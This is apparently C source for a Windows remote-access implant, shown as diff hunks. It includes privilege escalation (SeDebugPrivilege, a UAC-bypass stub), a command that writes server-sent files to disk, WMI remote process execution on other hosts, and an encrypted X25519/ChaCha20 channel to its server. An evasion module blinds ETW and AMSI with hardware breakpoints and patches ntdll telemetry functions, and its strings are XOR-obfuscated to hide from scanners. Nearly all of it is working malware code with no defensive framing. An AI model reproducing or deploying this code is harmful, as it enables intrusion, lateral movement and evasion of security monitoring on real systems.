{
size_t off = strlen(output_buf);
if (off < output_size - 1)
snprintf(output_buf + off, output_size - off, "ok\n");
}
return 0;
}
static void _enable_sedebug(void)
{
const adv_api_t *adv = adv_get();
if (!adv->OpenProcessToken || !adv->LookupPrivilegeValueA || !adv->AdjustTokenPrivileges)
return;
HANDLE htok = NULL;
if (!adv->OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &htok)) return;
LUID luid;
char _sd[20]; { volatile unsigned char _k = EVS_KEY;
for (int _i = 0; _i < (int)sizeof(EVS_str_SeDebugPrivilege); _i++)
_sd[_i] = (char)(EVS_str_SeDebugPrivilege[_i] ^ _k);
_sd[sizeof(EVS_str_SeDebugPrivilege)] = '\0'; }
if (adv->LookupPrivilegeValueA(NULL, _sd, &luid)) {
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
adv->AdjustTokenPrivileges(htok, FALSE, &tp, 0, NULL, NULL);
}
CloseHandle(htok);
}
int cmd_privesc(char *out, size_t sz)
{
return cmd_uacbypass(NULL, out, sz);
}
+55
View File
@@ -0,0 +1,55 @@
#include "commands.h"
#include "crypto.h"
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/* decode base64 data from server and write it to local_path */
int cmd_upload(const char *local_path, const char *data_b64,
char *output_buf, size_t output_size)
{
if (!local_path || !data_b64 || !output_buf) return -1;
size_t raw_len = 0;
uint8_t *raw = base64_decode(data_b64, &raw_len);
if (!raw) {
snprintf(output_buf, output_size, "[upload] base64 decode failed\n");
return -1;
}
HANDLE fh = CreateFileA(
local_path,
GENERIC_WRITE,
0,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (fh == INVALID_HANDLE_VALUE) {
snprintf(output_buf, output_size,
"[upload] CreateFile failed: %lu (path: %s)\n",
GetLastError(), local_path);
free(raw);
return -1;
}
DWORD written = 0;
BOOL ok = WriteFile(fh, raw, (DWORD)raw_len, &written, NULL);
CloseHandle(fh);
free(raw);
if (!ok || written != (DWORD)raw_len) {
snprintf(output_buf, output_size,
"[upload] WriteFile failed: %lu (wrote %lu / %zu bytes)\n",
GetLastError(), written, raw_len);
return -1;
}
snprintf(output_buf, output_size,
"[upload] OK - wrote %zu bytes to %s\n",
raw_len, local_path);
return 0;
}
+191
View File
@@ -0,0 +1,191 @@
#include "commands.h"
#include "evs_strings.h"
#include <windows.h>
#include <objbase.h>
#include <wbemcli.h>
#include <oleauto.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
static const CLSID _clsid_WbemLocator =
{0x4590f811,0x1d3a,0x11d0,{0x89,0x1f,0x00,0xaa,0x00,0x4b,0x2e,0x24}};
static const IID _iid_IWbemLocator =
{0xdc12a687,0x737f,0x11cf,{0x88,0x4d,0x00,0xaa,0x00,0x4b,0x2e,0x24}};
static BSTR _mbstr(const char *s)
{
int n = MultiByteToWideChar(CP_ACP, 0, s, -1, NULL, 0);
if (n <= 0) return NULL;
WCHAR *ws = (WCHAR *)malloc((size_t)n * sizeof(WCHAR));
if (!ws) return NULL;
MultiByteToWideChar(CP_ACP, 0, s, -1, ws, n);
BSTR b = SysAllocString(ws);
free(ws);
return b;
}
int cmd_wmiexec(const char *host, const char *cmdline,
char *output_buf, size_t output_size)
{
if (!host || !host[0] || !cmdline || !cmdline[0]) {
snprintf(output_buf, output_size,
"[wmiexec] usage: wmiexec <host> <cmdline>\n");
return -1;
}
HRESULT hr;
BOOL co_init = FALSE;
int rc = -1;
IWbemLocator *pLoc = NULL;
IWbemServices *pSvc = NULL;
IWbemClassObject *pClass = NULL;
IWbemClassObject *pInCls = NULL;
IWbemClassObject *pIn = NULL;
IWbemClassObject *pOut = NULL;
BSTR bNS = NULL, bCls = NULL, bMeth = NULL;
hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
if (SUCCEEDED(hr)) {
co_init = TRUE;
} else if (hr != RPC_E_CHANGED_MODE) {
snprintf(output_buf, output_size,
"[wmiexec] CoInitializeEx: 0x%08lx\n", (unsigned long)hr);
return -1;
}
CoInitializeSecurity(NULL, -1, NULL, NULL,
RPC_C_AUTHN_LEVEL_DEFAULT,
RPC_C_IMP_LEVEL_IMPERSONATE,
NULL, EOAC_NONE, NULL);
hr = CoCreateInstance(&_clsid_WbemLocator, NULL, CLSCTX_INPROC_SERVER,
&_iid_IWbemLocator, (void **)&pLoc);
if (FAILED(hr)) {
snprintf(output_buf, output_size,
"[wmiexec] CoCreateInstance: 0x%08lx\n", (unsigned long)hr);
goto cleanup;
}
char ns[320];
snprintf(ns, sizeof(ns), "\\\\%s\\root\\cimv2", host);
bNS = _mbstr(ns);
if (!bNS) goto cleanup;
hr = pLoc->lpVtbl->ConnectServer(pLoc, bNS,
NULL, NULL, NULL, 0, NULL, NULL, &pSvc);
if (FAILED(hr)) {
snprintf(output_buf, output_size,
"[wmiexec] ConnectServer(%s): 0x%08lx\n",
host, (unsigned long)hr);
goto cleanup;
}
hr = CoSetProxyBlanket((IUnknown *)pSvc,
RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL,
RPC_C_AUTHN_LEVEL_CALL,
RPC_C_IMP_LEVEL_IMPERSONATE,
NULL, EOAC_NONE);
if (FAILED(hr)) {
snprintf(output_buf, output_size,
"[wmiexec] CoSetProxyBlanket: 0x%08lx\n", (unsigned long)hr);
goto cleanup;
}
{ WCHAR _wp[14]; volatile unsigned char _k = EVS_KEY;
for (int _i = 0; _i < (int)sizeof(EVS_str_Win32_Process); _i++)
_wp[_i] = (WCHAR)(EVS_str_Win32_Process[_i] ^ _k);
_wp[sizeof(EVS_str_Win32_Process)] = L'\0';
bCls = SysAllocString(_wp);
SecureZeroMemory(_wp, sizeof(_wp)); }
bMeth = SysAllocString(L"Create");
if (!bCls || !bMeth) goto cleanup;
hr = pSvc->lpVtbl->GetObject(pSvc, bCls, 0, NULL, &pClass, NULL);
if (FAILED(hr)) {
snprintf(output_buf, output_size,
"[wmiexec] GetObject(Win32_Process): 0x%08lx\n",
(unsigned long)hr);
goto cleanup;
}
hr = pClass->lpVtbl->GetMethod(pClass, L"Create", 0, &pInCls, NULL);
if (FAILED(hr)) {
snprintf(output_buf, output_size,
"[wmiexec] GetMethod(Create): 0x%08lx\n", (unsigned long)hr);
goto cleanup;
}
hr = pInCls->lpVtbl->SpawnInstance(pInCls, 0, &pIn);
if (FAILED(hr)) {
snprintf(output_buf, output_size,
"[wmiexec] SpawnInstance: 0x%08lx\n", (unsigned long)hr);
goto cleanup;
}
{
BSTR bcmd = _mbstr(cmdline);
if (!bcmd) goto cleanup;
VARIANT v;
VariantInit(&v);
V_VT(&v) = VT_BSTR;
V_BSTR(&v) = bcmd;
hr = pIn->lpVtbl->Put(pIn, L"CommandLine", 0, &v, 0);
VariantClear(&v);
if (FAILED(hr)) {
snprintf(output_buf, output_size,
"[wmiexec] Put(CommandLine): 0x%08lx\n", (unsigned long)hr);
goto cleanup;
}
}
hr = pSvc->lpVtbl->ExecMethod(pSvc, bCls, bMeth, 0, NULL,
pIn, &pOut, NULL);
if (FAILED(hr)) {
snprintf(output_buf, output_size,
"[wmiexec] ExecMethod: 0x%08lx\n", (unsigned long)hr);
goto cleanup;
}
{
VARIANT vRet, vPid;
VariantInit(&vRet); VariantInit(&vPid);
pOut->lpVtbl->Get(pOut, L"ReturnValue", 0, &vRet, NULL, NULL);
pOut->lpVtbl->Get(pOut, L"ProcessId", 0, &vPid, NULL, NULL);
DWORD ret_val = (vRet.vt == VT_I4 || vRet.vt == VT_UI4)
? (DWORD)vRet.intVal : 0xFFFF;
DWORD pid_val = (vPid.vt == VT_I4 || vPid.vt == VT_UI4)
? (DWORD)vPid.intVal : 0;
VariantClear(&vRet); VariantClear(&vPid);
if (ret_val == 0) {
snprintf(output_buf, output_size,
"[wmiexec] ok host=%s pid=%lu\n cmd=%s\n",
host, (unsigned long)pid_val, cmdline);
rc = 0;
} else {
snprintf(output_buf, output_size,
"[wmiexec] Win32_Process::Create returned %lu\n"
" 2=access denied 3=insufficient priv 8=unknown\n"
" 9=path not found 21=invalid param\n",
(unsigned long)ret_val);
}
}
cleanup:
if (pOut) pOut->lpVtbl->Release(pOut);
if (pIn) pIn->lpVtbl->Release(pIn);
if (pInCls) pInCls->lpVtbl->Release(pInCls);
if (pClass) pClass->lpVtbl->Release(pClass);
if (pSvc) pSvc->lpVtbl->Release(pSvc);
if (pLoc) pLoc->lpVtbl->Release(pLoc);
if (bNS) SysFreeString(bNS);
if (bCls) SysFreeString(bCls);
if (bMeth) SysFreeString(bMeth);
if (co_init) CoUninitialize();
return rc;
}
+191
View File
@@ -0,0 +1,191 @@
#include "crypto.h"
#include <mbedtls/chachapoly.h>
#include <mbedtls/base64.h>
#include <windows.h>
#include <bcrypt.h>
#include <string.h>
#include <stdlib.h>
int crypto_rand_bytes(uint8_t *buf, size_t len)
{
NTSTATUS st = BCryptGenRandom(NULL, buf, (ULONG)len,
BCRYPT_USE_SYSTEM_PREFERRED_RNG);
return (st == 0) ? 0 : -1;
}
int crypto_init(crypto_ctx_t *ctx)
{
memset(ctx, 0, sizeof(*ctx));
return 0;
}
void crypto_free(crypto_ctx_t *ctx)
{
memset(ctx, 0, sizeof(*ctx));
}
/* ChaCha20-Poly1305 encrypt/decrypt */
int chacha20_poly1305_encrypt(const uint8_t *key, const uint8_t *nonce,
const uint8_t *pt, size_t pt_len,
uint8_t *ct, uint8_t *tag)
{
mbedtls_chachapoly_context ctx;
mbedtls_chachapoly_init(&ctx);
int ret = mbedtls_chachapoly_setkey(&ctx, key);
if (ret == 0)
ret = mbedtls_chachapoly_encrypt_and_tag(&ctx, pt_len, nonce,
NULL, 0,
pt, ct, tag);
mbedtls_chachapoly_free(&ctx);
return ret;
}
int chacha20_poly1305_decrypt(const uint8_t *key, const uint8_t *nonce,
const uint8_t *ct, size_t ct_len,
const uint8_t *tag, uint8_t *pt)
{
mbedtls_chachapoly_context ctx;
mbedtls_chachapoly_init(&ctx);
int ret = mbedtls_chachapoly_setkey(&ctx, key);
if (ret == 0)
ret = mbedtls_chachapoly_auth_decrypt(&ctx, ct_len, nonce,
NULL, 0,
tag, ct, pt);
mbedtls_chachapoly_free(&ctx);
return ret;
}
/* ---- Authenticated encryption with session key ---- */
uint8_t *crypto_seal(crypto_ctx_t *ctx,
const uint8_t *pt, size_t pt_len,
size_t *out_len)
{
size_t total = CHACHA20_NONCE_SIZE + pt_len + POLY1305_TAG_SIZE;
uint8_t *buf = malloc(total);
if (!buf)
return NULL;
uint8_t *nonce = buf;
uint8_t *ct = buf + CHACHA20_NONCE_SIZE;
uint8_t *tag = buf + CHACHA20_NONCE_SIZE + pt_len;
/* unmask key, encrypt, re-randomize mask */
uint8_t tmp_key[CHACHA20_KEY_SIZE];
for (int i = 0; i < CHACHA20_KEY_SIZE; i++)
tmp_key[i] = ctx->session_key[i] ^ ctx->key_mask[i];
int enc_ok = (crypto_rand_bytes(nonce, CHACHA20_NONCE_SIZE) == 0) &&
(chacha20_poly1305_encrypt(tmp_key, nonce, pt, pt_len, ct, tag) == 0);
/* re-randomize mask after use */
uint8_t new_mask[CHACHA20_KEY_SIZE];
if (crypto_rand_bytes(new_mask, CHACHA20_KEY_SIZE) == 0)
{
for (int i = 0; i < CHACHA20_KEY_SIZE; i++)
{
ctx->session_key[i] = tmp_key[i] ^ new_mask[i];
ctx->key_mask[i] = new_mask[i];
}
}
memset(tmp_key, 0, sizeof(tmp_key));
memset(new_mask, 0, sizeof(new_mask));
if (!enc_ok)
{
free(buf);
return NULL;
}
*out_len = total;
return buf;
}
uint8_t *crypto_open(crypto_ctx_t *ctx,
const uint8_t *blob, size_t blob_len,
size_t *out_len)
{
if (blob_len < CRYPTO_OVERHEAD)
return NULL;
const uint8_t *nonce = blob;
size_t ct_len = blob_len - CRYPTO_OVERHEAD;
const uint8_t *ct = blob + CHACHA20_NONCE_SIZE;
const uint8_t *tag = blob + CHACHA20_NONCE_SIZE + ct_len;
uint8_t *pt = malloc(ct_len + 1);
if (!pt)
return NULL;
/* unmask key, decrypt, re-randomize mask */
uint8_t tmp_key[CHACHA20_KEY_SIZE];
for (int i = 0; i < CHACHA20_KEY_SIZE; i++)
tmp_key[i] = ctx->session_key[i] ^ ctx->key_mask[i];
int dec_ok = (chacha20_poly1305_decrypt(tmp_key, nonce, ct, ct_len, tag, pt) == 0);
uint8_t new_mask[CHACHA20_KEY_SIZE];
if (crypto_rand_bytes(new_mask, CHACHA20_KEY_SIZE) == 0)
{
for (int i = 0; i < CHACHA20_KEY_SIZE; i++)
{
ctx->session_key[i] = tmp_key[i] ^ new_mask[i];
ctx->key_mask[i] = new_mask[i];
}
}
memset(tmp_key, 0, sizeof(tmp_key));
memset(new_mask, 0, sizeof(new_mask));
if (!dec_ok)
{
free(pt);
return NULL;
}
pt[ct_len] = '\0';
*out_len = ct_len;
return pt;
}
/* base64 encode/decode via mbedTLS */
char *base64_encode(const uint8_t *data, size_t len)
{
size_t out_len = 0;
mbedtls_base64_encode(NULL, 0, &out_len, data, len);
char *buf = malloc(out_len + 1);
if (!buf)
return NULL;
if (mbedtls_base64_encode((unsigned char *)buf, out_len + 1,
&out_len, data, len) != 0)
{
free(buf);
return NULL;
}
buf[out_len] = '\0';
return buf;
}
uint8_t *base64_decode(const char *str, size_t *out_len)
{
size_t in_len = strlen(str);
size_t decoded_len = 0;
mbedtls_base64_decode(NULL, 0, &decoded_len,
(const unsigned char *)str, in_len);
uint8_t *buf = malloc(decoded_len + 1);
if (!buf)
return NULL;
if (mbedtls_base64_decode(buf, decoded_len + 1, &decoded_len,
(const unsigned char *)str, in_len) != 0)
{
free(buf);
return NULL;
}
buf[decoded_len] = '\0';
*out_len = decoded_len;
return buf;
}
+161
View File
@@ -0,0 +1,161 @@
#include "crypto.h"
#include <mbedtls/ecp.h>
#include <mbedtls/hkdf.h>
#include <mbedtls/md.h>
#include <string.h>
#include <stdlib.h>
/* shared CSPRNG defined in chacha.c */
int crypto_rand_bytes(uint8_t *buf, size_t len);
/* adapter for mbedTLS f_rng callbacks */
static int _rng_cb(void *p_rng, unsigned char *buf, size_t len)
{
(void)p_rng;
return crypto_rand_bytes(buf, len);
}
/* generate an X25519 keypair */
int crypto_gen_keypair(uint8_t *pubkey, uint8_t *privkey)
{
mbedtls_ecp_group grp;
mbedtls_mpi d;
mbedtls_ecp_point Q;
int ret;
mbedtls_ecp_group_init(&grp);
mbedtls_mpi_init(&d);
mbedtls_ecp_point_init(&Q);
ret = mbedtls_ecp_group_load(&grp, MBEDTLS_ECP_DP_CURVE25519);
if (ret) goto out;
ret = mbedtls_ecp_gen_keypair(&grp, &d, &Q, _rng_cb, NULL);
if (ret) goto out;
ret = mbedtls_mpi_write_binary(&d, privkey, X25519_KEY_SIZE);
if (ret) goto out;
/* reverse public key bytes: mbedTLS is big-endian, X25519 wire is little-endian */
ret = mbedtls_mpi_write_binary(&Q.MBEDTLS_PRIVATE(X), pubkey, X25519_KEY_SIZE);
if (ret == 0) {
for (int i = 0; i < X25519_KEY_SIZE / 2; i++) {
uint8_t tmp = pubkey[i];
pubkey[i] = pubkey[X25519_KEY_SIZE - 1 - i];
pubkey[X25519_KEY_SIZE - 1 - i] = tmp;
}
}
out:
mbedtls_ecp_group_free(&grp);
mbedtls_mpi_free(&d);
mbedtls_ecp_point_free(&Q);
return ret;
}
/* ECDH: compute shared = privkey * peer_pubkey */
int crypto_ecdh(const uint8_t *privkey, const uint8_t *peer_pubkey,
uint8_t *shared_secret)
{
mbedtls_ecp_group grp;
mbedtls_mpi d;
mbedtls_ecp_point Qp, R;
int ret;
mbedtls_ecp_group_init(&grp);
mbedtls_mpi_init(&d);
mbedtls_ecp_point_init(&Qp);
mbedtls_ecp_point_init(&R);
ret = mbedtls_ecp_group_load(&grp, MBEDTLS_ECP_DP_CURVE25519);
if (ret) goto out;
/* load private scalar */
ret = mbedtls_mpi_read_binary(&d, privkey, X25519_KEY_SIZE);
if (ret) goto out;
/* reverse peer pubkey bytes: little-endian wire -> big-endian MPI */
uint8_t peer_le[X25519_KEY_SIZE];
for (int i = 0; i < X25519_KEY_SIZE; i++)
peer_le[i] = peer_pubkey[X25519_KEY_SIZE - 1 - i];
ret = mbedtls_mpi_read_binary(&Qp.MBEDTLS_PRIVATE(X), peer_le, X25519_KEY_SIZE);
if (ret) goto out;
/* Z = 1 for affine representation */
ret = mbedtls_mpi_lset(&Qp.MBEDTLS_PRIVATE(Z), 1);
if (ret) goto out;
/* R = d * Qp */
ret = mbedtls_ecp_mul(&grp, &R, &d, &Qp, _rng_cb, NULL);
if (ret) goto out;
/* shared secret = R.X, reversed to little-endian */
ret = mbedtls_mpi_write_binary(&R.MBEDTLS_PRIVATE(X), shared_secret, X25519_KEY_SIZE);
if (ret == 0) {
for (int i = 0; i < X25519_KEY_SIZE / 2; i++) {
uint8_t tmp = shared_secret[i];
shared_secret[i] = shared_secret[X25519_KEY_SIZE - 1 - i];
shared_secret[X25519_KEY_SIZE - 1 - i] = tmp;
}
}
out:
mbedtls_ecp_group_free(&grp);
mbedtls_mpi_free(&d);
mbedtls_ecp_point_free(&Qp);
mbedtls_ecp_point_free(&R);
return ret;
}
/* HKDF-SHA256 key derivation */
int crypto_hkdf(const uint8_t *ikm, size_t ikm_len,
const uint8_t *salt, size_t salt_len,
const uint8_t *info, size_t info_len,
uint8_t *okm, size_t okm_len)
{
const mbedtls_md_info_t *md = mbedtls_md_info_from_type(MBEDTLS_MD_SHA256);
return mbedtls_hkdf(md,
salt, salt_len,
ikm, ikm_len,
info, info_len,
okm, okm_len);
}
/* ECDH + HKDF to establish session key */
int crypto_do_handshake(crypto_ctx_t *ctx, const uint8_t *server_pubkey)
{
uint8_t shared[X25519_KEY_SIZE];
int ret;
ret = crypto_ecdh(ctx->agent_privkey, server_pubkey, shared);
if (ret) return ret;
/* HKDF info context label, stored as bytes to avoid string extraction */
static const uint8_t k_info[] = {
0x6b,0x64,0x66,0x2d,0x73,0x65,0x73,0x73,
0x2d,0x76,0x31,0x00
};
/* derive session key */
uint8_t raw_key[CHACHA20_KEY_SIZE];
ret = crypto_hkdf(shared, sizeof(shared),
NULL, 0,
k_info, sizeof(k_info) - 1,
raw_key, CHACHA20_KEY_SIZE);
memset(shared, 0, sizeof(shared));
if (ret == 0) {
/* store key XOR random mask so it's never plaintext on the heap */
crypto_rand_bytes(ctx->key_mask, CHACHA20_KEY_SIZE);
for (int i = 0; i < CHACHA20_KEY_SIZE; i++)
ctx->session_key[i] = raw_key[i] ^ ctx->key_mask[i];
ctx->key_established = 1;
}
memset(raw_key, 0, sizeof(raw_key));
return ret;
}
+80
View File
@@ -0,0 +1,80 @@
#include <windows.h>
#include <bcrypt.h>
#include <errno.h>
/* Forward declaration — defined in main.c */
extern int WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int);
void WinMainCRTStartup(void)
{
int ret = WinMain(NULL, NULL, NULL, SW_SHOWDEFAULT);
ExitProcess((UINT)ret);
}
/* Stubs for CRT functions that -nostartfiles leaves undefined */
/* atexit: called by libmingwex dtoa/snprintf internals; we ExitProcess so
* registered handlers will never run — stub is safe. */
int atexit(void (*fn)(void)) { (void)fn; return 0; }
/* __main: called by some MinGW ctor chains; no C++ ctors in this binary. */
void __main(void) {}
/*
* getntptimeofday — normally defined in libmingwex gettimeofday.o, which calls
* GetModuleHandleA("kernel32") + GetProcAddress to probe GetSystemTimePreciseAsFileTime.
* Our version uses GetSystemTimeAsFileTime directly (already in IAT) — eliminates
* the GetModuleHandleA import that gettimeofday.o would add.
*/
#include <time.h>
int getntptimeofday(struct timespec *tp, const void *tz)
{
(void)tz;
if (tp) {
FILETIME ft;
GetSystemTimeAsFileTime(&ft);
ULONGLONG t = ((ULONGLONG)ft.dwHighDateTime << 32) | ft.dwLowDateTime;
t -= 116444736000000000ULL; /* FILETIME to Unix epoch (100ns units) */
tp->tv_sec = (time_t)(t / 10000000ULL);
tp->tv_nsec = (long)((t % 10000000ULL) * 100);
}
return 0;
}
/*
* rand_s / __imp_rand_s stubs — prevent libmsvcrt.a(rand_s.o) from linking.
* rand_s.o imports GetModuleHandleA+GetProcAddress to find RtlGenRandom.
* libmingwex stack_chk_guard.o (pulled by mbedTLS) references __imp_rand_s.
* Defining both here satisfies the reference without the GetModuleHandleA dep.
*/
static errno_t _rand_s_impl(unsigned int *r)
{
if (!r) return EINVAL;
BCryptGenRandom(NULL, (PUCHAR)r, sizeof(*r), BCRYPT_USE_SYSTEM_PREFERRED_RNG);
return 0;
}
errno_t rand_s(unsigned int *r) { return _rand_s_impl(r); }
errno_t (*__imp_rand_s)(unsigned int *) = _rand_s_impl;
/*
* _gmtime64_s stub — mbedTLS platform_util.c.obj calls _gmtime64_s which is
* provided by libmsvcrt.a(_gmtime64_s.o), another GetModuleHandleA importer.
* Stub with gmtime() (same semantics, no GetModuleHandleA).
*/
#include <time.h>
errno_t _gmtime64_s(struct tm *_Tm, const __int64 *_Time)
{
if (!_Tm || !_Time) return EINVAL;
time_t t = (time_t)*_Time;
struct tm *r = gmtime(&t);
if (!r) return EINVAL;
*_Tm = *r;
return 0;
}
errno_t (*__imp__gmtime64_s)(struct tm *, const __int64 *) = _gmtime64_s;
/* Override __imp_GetModuleHandleA — strong data symbol prevents IAT import.
* Library callers (libpthread misc.o etc.) use result for optional feature
* detection; returning NULL causes them to use built-in fallbacks. */
static HMODULE WINAPI _gmha_impl(LPCSTR n) { (void)n; return NULL; }
HMODULE (WINAPI *__imp_GetModuleHandleA)(LPCSTR) = _gmha_impl;
+601
View File
@@ -0,0 +1,601 @@
#include "evasion.h"
#include "evs_strings.h"
#include "peb_walk.h"
#include <windows.h>
#include <bcrypt.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
/* NtProtectVirtualMemory direct call */
typedef NTSTATUS (NTAPI *NtPVM_t)(HANDLE, PVOID *, PSIZE_T, ULONG, PULONG);
static BOOL _nt_prot(LPVOID addr, SIZE_T sz, DWORD prot, DWORD *old)
{
static NtPVM_t _fn = NULL;
if (!_fn) {
char ns[12], fs[24];
EVS_D(ns, EVS_dll_ntdll);
HMODULE h = _peb_module(ns);
SecureZeroMemory(ns, sizeof(ns));
if (h) {
EVS_D(fs, EVS_fn_NtProtectVirtualMemory);
_fn = (NtPVM_t)(void *)GetProcAddress(h, fs);
SecureZeroMemory(fs, sizeof(fs));
}
}
if (!_fn) return FALSE;
PVOID base = addr;
SIZE_T rsz = sz;
ULONG _old = 0;
NTSTATUS st = _fn((HANDLE)(LONG_PTR)-1, &base, &rsz, (ULONG)prot, &_old);
if (old) *old = (DWORD)_old;
return st == 0;
}
/* Dynamic kernel32 API resolvers */
typedef BOOL (WINAPI *GTC_t)(HANDLE, PCONTEXT);
typedef BOOL (WINAPI *STC_t)(HANDLE, const CONTEXT *);
typedef LPVOID (WINAPI *MVF_t)(HANDLE, DWORD, DWORD, DWORD, DWORD);
typedef BOOL (WINAPI *UMVF_t)(LPCVOID);
static HMODULE _k32(void)
{
static HMODULE h = NULL;
if (h) return h;
char s[16]; EVS_D(s, EVS_dll_kernel32);
h = _peb_module(s);
SecureZeroMemory(s, sizeof(s));
return h;
}
#define _K32_LAZY(type, var, enc_arr) \
static type var = NULL; \
if (!var) { char _fs[20]; EVS_D(_fs, enc_arr); \
var = (type)(void *)GetProcAddress(_k32(), _fs); \
SecureZeroMemory(_fs, sizeof(_fs)); }
static BOOL _gtc(HANDLE t, PCONTEXT c)
{
_K32_LAZY(GTC_t, fn, EVS_fn_GetThreadContext)
return fn ? fn(t, c) : FALSE;
}
static BOOL _stc(HANDLE t, const CONTEXT *c)
{
_K32_LAZY(STC_t, fn, EVS_fn_SetThreadContext)
return fn ? fn(t, c) : FALSE;
}
static LPVOID _mvf(HANDLE hm, DWORD acc, DWORD hi, DWORD lo, DWORD sz)
{
_K32_LAZY(MVF_t, fn, EVS_fn_MapViewOfFile)
return fn ? fn(hm, acc, hi, lo, sz) : NULL;
}
static BOOL _umvf(LPCVOID p)
{
_K32_LAZY(UMVF_t, fn, EVS_fn_UnmapViewOfFile)
return fn ? fn(p) : FALSE;
}
static LPVOID g_etw_fn = NULL;
static LPVOID g_amsi_fn = NULL; /* AmsiScanBuffer — Dr1 */
static LPVOID g_amsi_scan_fn = NULL; /* AmsiScanString — Dr2 */
static HANDLE g_veh = NULL;
static BOOL g_init_done = FALSE;
typedef PVOID (WINAPI *_AVEH_t)(ULONG, PVECTORED_EXCEPTION_HANDLER);
static PVOID _aveh(ULONG first, PVECTORED_EXCEPTION_HANDLER fn)
{
static _AVEH_t _fn = NULL;
if (!_fn) {
char s[32] = {0};
char sk[16] = {0};
EVS_D(s, EVS_fn_AddVectoredExceptionHandler);
EVS_D(sk, EVS_dll_kernel32);
HMODULE h = _peb_module(sk);
if (h) _fn = (_AVEH_t)(void *)GetProcAddress(h, s);
SecureZeroMemory(s, sizeof(s));
SecureZeroMemory(sk, sizeof(sk));
}
return _fn ? _fn(first, fn) : NULL;
}
/* Resolve ETW/AMSI targets */
static void _resolve_targets(void)
{
char s[24];
/* ETW */
EVS_D(s, EVS_dll_ntdll);
HMODULE ntdll = _peb_module(s);
SecureZeroMemory(s, sizeof(s));
if (ntdll) {
EVS_D(s, EVS_fn_EtwEventWrite);
g_etw_fn = (LPVOID)GetProcAddress(ntdll, s);
SecureZeroMemory(s, sizeof(s));
}
/* AMSI — may not be present on all systems */
EVS_D(s, EVS_dll_amsi);
HMODULE hamsi = _peb_module(s); /* only if already mapped */
SecureZeroMemory(s, sizeof(s));
if (hamsi) {
EVS_D(s, EVS_fn_AmsiScanBuffer);
g_amsi_fn = (LPVOID)GetProcAddress(hamsi, s);
SecureZeroMemory(s, sizeof(s));
EVS_D(s, EVS_fn_AmsiScanString);
g_amsi_scan_fn = (LPVOID)GetProcAddress(hamsi, s);
SecureZeroMemory(s, sizeof(s));
}
}
/* VEH handler for ETW/AMSI */
__attribute__((section(".run"), noinline))
static LONG WINAPI _hwbp_veh(EXCEPTION_POINTERS *ep)
{
if (ep->ExceptionRecord->ExceptionCode != EXCEPTION_SINGLE_STEP)
return EXCEPTION_CONTINUE_SEARCH;
CONTEXT *ctx = ep->ContextRecord;
BOOL handled = FALSE;
if (g_etw_fn && (LPVOID)(uintptr_t)ctx->Rip == g_etw_fn) {
ctx->Rax = 0; /* STATUS_SUCCESS */
ctx->Rip = *(DWORD64 *)(uintptr_t)ctx->Rsp;
ctx->Rsp += 8;
ctx->Dr6 &= ~(DWORD64)0x1; /* clear B0 */
handled = TRUE;
}
if (g_amsi_fn && (LPVOID)(uintptr_t)ctx->Rip == g_amsi_fn) {
ctx->Rax = 0x80070057; /* E_INVALIDARG */
ctx->Rip = *(DWORD64 *)(uintptr_t)ctx->Rsp;
ctx->Rsp += 8;
ctx->Dr6 &= ~(DWORD64)0x2; /* clear B1 */
handled = TRUE;
}
if (g_amsi_scan_fn && (LPVOID)(uintptr_t)ctx->Rip == g_amsi_scan_fn) {
ctx->Rax = 0x80070057; /* E_INVALIDARG */
ctx->Rip = *(DWORD64 *)(uintptr_t)ctx->Rsp;
ctx->Rsp += 8;
ctx->Dr6 &= ~(DWORD64)0x4; /* clear B2 */
handled = TRUE;
}
return handled ? EXCEPTION_CONTINUE_EXECUTION : EXCEPTION_CONTINUE_SEARCH;
}
/* Set debug registers on a thread */
BOOL evasion_apply_thread(HANDLE hThread)
{
if (!g_etw_fn && !g_amsi_fn && !g_amsi_scan_fn) return FALSE;
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
if (!_gtc(hThread, &ctx)) return FALSE;
if (g_etw_fn) ctx.Dr0 = (DWORD64)(uintptr_t)g_etw_fn;
if (g_amsi_fn) ctx.Dr1 = (DWORD64)(uintptr_t)g_amsi_fn;
if (g_amsi_scan_fn) ctx.Dr2 = (DWORD64)(uintptr_t)g_amsi_scan_fn;
ctx.Dr7 &= ~(DWORD64)0x0FFF0015;
ctx.Dr7 |= g_etw_fn ? 0x01 : 0;
ctx.Dr7 |= g_amsi_fn ? 0x04 : 0;
ctx.Dr7 |= g_amsi_scan_fn ? 0x10 : 0;
return _stc(hThread, &ctx) != 0;
}
/* One-time init */
static void _evasion_init(void)
{
if (g_init_done) return;
g_init_done = TRUE;
_resolve_targets();
if (!g_etw_fn && !g_amsi_fn) return;
/* register VEH, first in chain */
if (!g_veh)
g_veh = _aveh(1, _hwbp_veh);
/* arm breakpoints on calling thread */
evasion_apply_thread(GetCurrentThread());
}
/* public API */
void evasion_patch_etw(void) { _evasion_init(); }
void evasion_patch_amsi(void) { _evasion_init(); }
/* Patch ETW TI functions in ntdll */
void evasion_patch_etw_ti(void)
{
char s[32];
EVS_D(s, EVS_dll_ntdll);
HMODULE ntdll = _peb_module(s);
SecureZeroMemory(s, sizeof(s));
if (!ntdll) return;
const struct { const unsigned char *enc; size_t n; } fns[] = {
{ EVS_fn_EtwTiLogOpenProcess, sizeof(EVS_fn_EtwTiLogOpenProcess) },
{ EVS_fn_EtwTiLogReadWriteVm, sizeof(EVS_fn_EtwTiLogReadWriteVm) },
{ EVS_fn_EtwTiLogDuplicateHandle, sizeof(EVS_fn_EtwTiLogDuplicateHandle) },
};
for (int i = 0; i < 3; i++) {
_evs_dec(s, fns[i].enc, fns[i].n);
BYTE *fn = (BYTE *)(void *)GetProcAddress(ntdll, s);
SecureZeroMemory(s, sizeof(s));
if (!fn) continue;
DWORD old;
if (!_nt_prot(fn, 1, PAGE_EXECUTE_READWRITE, &old)) continue;
*fn = 0xC3;
_nt_prot(fn, 1, old, &old);
}
